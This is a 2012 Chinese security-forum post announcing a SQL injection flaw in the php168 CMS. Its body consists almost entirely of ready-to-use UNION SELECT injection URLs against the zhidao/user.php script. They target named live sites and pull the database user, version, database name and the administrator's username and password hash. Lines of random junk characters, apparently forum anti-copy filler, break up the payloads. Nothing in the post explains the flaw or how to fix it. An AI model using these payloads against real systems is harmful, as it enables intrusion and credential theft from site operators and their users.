找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2970|回复: 0
打印 上一主题 下一主题

php168某系统注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-18 08:52:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
' i8 |" j, S. g  [2 z                                                         
' D1 Z! b, [( t. |4 s( }( _6 i                                       
  Z0 `- X0 J0 j2 o) _' o1 C$ c' g# G# L/ O2 K% q& s
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
. s7 Y9 b' Q' I  Q                                                     5 X' t$ g$ I& p" G
                                                                   1 ~3 D  w" D. n- ]. F- ~* A
                                                        * H: t3 p8 M; L. Z
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
. C' e/ y; M* E. S, G3 v' z( I6 E& `
) I, R' [/ }" ]7 _0 n

! j- s$ e8 }( h. N                                                              c/ p0 `. g4 u) e& ~1 I

6 {6 f+ K& \" M7 n$ C& Ihttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--* S7 H2 s  T0 t5 X# w7 ~& e0 R7 h' z8 ~- s

# j* n" K6 _9 ^0 r0 j* G2 s5 P( d
7 W! u7 q* }" x: {, `5 T
                                                                    7 A$ X  |9 t6 ?5 @8 F+ B) G: F& E

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表